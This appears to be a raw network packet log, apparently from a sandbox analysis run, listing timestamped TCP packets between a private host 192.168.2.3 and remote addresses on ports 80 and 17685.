May 27, 2022 06:58:31.724617958 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.724637985 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.724678040 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.724684954 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.767730951 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.776376963 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.776427031 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.776515007 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.776567936 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.821572065 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.821623087 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.821746111 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.937716961 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.937772989 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.937814951 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.937846899 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.937868118 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.937908888 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.937926054 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.937949896 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.937988997 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.938029051 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.938071012 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.938074112 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.938111067 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.938118935 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.938153028 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.938164949 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.938194990 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.938237906 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:31.938246965 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:31.986474037 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:32.034285069 CEST	80	49717	47.105.225.69	192.168.2.3
May 27, 2022 06:58:32.080291033 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:32.423103094 CEST	49717	80	192.168.2.3	47.105.225.69
May 27, 2022 06:58:53.622379065 CEST	49744	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:58:53.642635107 CEST	17685	49744	18.156.13.209	192.168.2.3
May 27, 2022 06:58:53.642756939 CEST	49744	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:58:53.830946922 CEST	49744	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:58:53.850265980 CEST	17685	49744	18.156.13.209	192.168.2.3
May 27, 2022 06:58:53.859049082 CEST	17685	49744	18.156.13.209	192.168.2.3
May 27, 2022 06:58:53.859611988 CEST	49744	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:58:53.887656927 CEST	17685	49744	18.156.13.209	192.168.2.3
May 27, 2022 06:58:53.957129002 CEST	49744	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:01.182743073 CEST	49744	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:01.210571051 CEST	17685	49744	18.156.13.209	192.168.2.3
May 27, 2022 06:59:01.211106062 CEST	49744	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:01.273581982 CEST	17685	49744	18.156.13.209	192.168.2.3
May 27, 2022 06:59:01.305862904 CEST	17685	49744	18.156.13.209	192.168.2.3
May 27, 2022 06:59:01.305902004 CEST	17685	49744	18.156.13.209	192.168.2.3
May 27, 2022 06:59:01.305924892 CEST	17685	49744	18.156.13.209	192.168.2.3
May 27, 2022 06:59:01.305947065 CEST	17685	49744	18.156.13.209	192.168.2.3
May 27, 2022 06:59:01.306004047 CEST	49744	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:01.306042910 CEST	49744	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:16.445641994 CEST	17685	49744	18.156.13.209	192.168.2.3
May 27, 2022 06:59:16.445751905 CEST	49744	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:20.065196991 CEST	49744	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:20.084464073 CEST	17685	49744	18.156.13.209	192.168.2.3
May 27, 2022 06:59:20.085561991 CEST	49744	17685	192.168.2.3	18.156.13.209
May 27, 2022 06:59:20.122983932 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.142271042 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.143039942 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.148127079 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.167198896 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.175966978 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.227427006 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.246715069 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.246763945 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.246790886 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.246817112 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.246843100 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.246929884 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.247003078 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.247035027 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.266074896 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.266123056 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.266150951 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.266177893 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.266185999 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.266222954 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.266239882 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.266253948 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.266264915 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.266333103 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.266360998 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.266434908 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.266514063 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.266552925 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.266586065 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.266597033 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.266665936 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.266696930 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.266769886 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.285361052 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.285406113 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.285439014 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.285474062 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.285520077 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.285571098 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.285590887 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.285592079 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.285620928 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.285624981 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.285689116 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.285722017 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.285772085 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.285864115 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.285885096 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.285957098 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.285991907 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.286045074 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.286206961 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.286235094 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.286262035 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.286340952 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.286390066 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.286412954 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.286489010 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.286489964 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.286559105 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.286572933 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.286585093 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.286633015 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.286673069 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.286734104 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.286842108 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.286938906 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.304632902 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.304680109 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.304706097 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.304783106 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.304814100 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.304888010 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.304963112 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.304991961 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.305072069 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.305145979 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.305244923 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.305337906 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.305365086 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.305443048 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.305486917 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.305563927 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.305633068 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.305742979 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.305747032 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.305774927 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.305845022 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.305876970 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.305913925 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.305984974 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.306010008 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.306103945 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.306130886 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.306226969 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.306240082 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.306315899 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.306385994 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.306427956 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.306473017 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.306499958 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.306575060 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.306648970 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.306675911 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.306740046 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.306745052 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.306766987 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.306858063 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.306860924 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.306926966 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.306957960 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.307024002 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.307038069 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.307107925 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.307135105 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.307147980 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.307187080 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.307204962 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.307286978 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.307353973 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.307435036 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.307502985 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.307507038 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.307576895 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.307598114 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.307604074 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.307651043 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.307676077 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.307718992 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.307784081 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.307827950 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.307852983 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.307920933 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.307940960 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.307986021 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.323960066 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.324002981 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.324026108 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.324084997 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.324127913 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.324156046 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.324245930 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.324254036 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.324337959 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.324409008 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.324434996 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.324532986 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.324676991 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.324742079 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.324768066 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.324807882 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.324879885 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.324913979 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.324994087 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.325058937 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.325093985 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.325261116 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.325324059 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.325345039 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.325381994 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.325402021 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.325465918 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.325556993 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.325603008 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.325695038 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.325697899 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.325845957 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.325964928 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.326024055 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.326064110 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.326102018 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.326128006 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.326133013 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.326265097 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.326360941 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.326401949 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.326483011 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.326674938 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.326699972 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.326766014 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.326795101 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.326803923 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.326869011 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.326948881 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.327042103 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.327106953 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.327169895 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.327191114 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.327414989 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.327445984 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.327518940 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.327559948 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.327637911 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.327662945 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.327688932 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.327789068 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.327791929 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.327852011 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.327892065 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.327925920 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.327950954 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.328015089 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.328071117 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.328095913 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.328113079 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.328176975 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.328187943 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.328311920 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.328391075 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.328450918 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.328495026 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.328562021 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.328583956 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.328608036 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.328628063 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.328634024 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.328650951 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.328660011 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.328759909 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.328763008 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.328783035 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.328865051 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.328882933 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.328979969 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.328990936 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.329045057 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.329091072 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.329108953 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.329149008 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.329180956 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.329209089 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.329272985 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.329277992 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.329335928 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.329350948 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.329473972 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.329534054 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.329540014 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.329559088 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.329642057 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.329648972 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.329716921 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.329741001 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.329766989 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.329857111 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.329904079 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.329967022 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.329976082 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.330070972 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.330075979 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.330101013 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.330126047 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.330169916 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.330193043 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.330216885 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.330218077 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.330240011 CEST	49754	17685	192.168.2.3	18.192.93.86
May 27, 2022 06:59:20.330244064 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.330266953 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.330291986 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.330316067 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.330342054 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.330367088 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.343415022 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.343456984 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.343480110 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.343502045 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.343523026 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.343545914 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.343780994 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.343805075 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.343826056 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.343847036 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.343869925 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.343951941 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.344027996 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.344048977 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.344069958 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.344093084 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.344309092 CEST	17685	49754	18.192.93.86	192.168.2.3
May 27, 2022 06:59:20.344394922 CEST	17685	49754	18.192.93.86	192.168.2.3
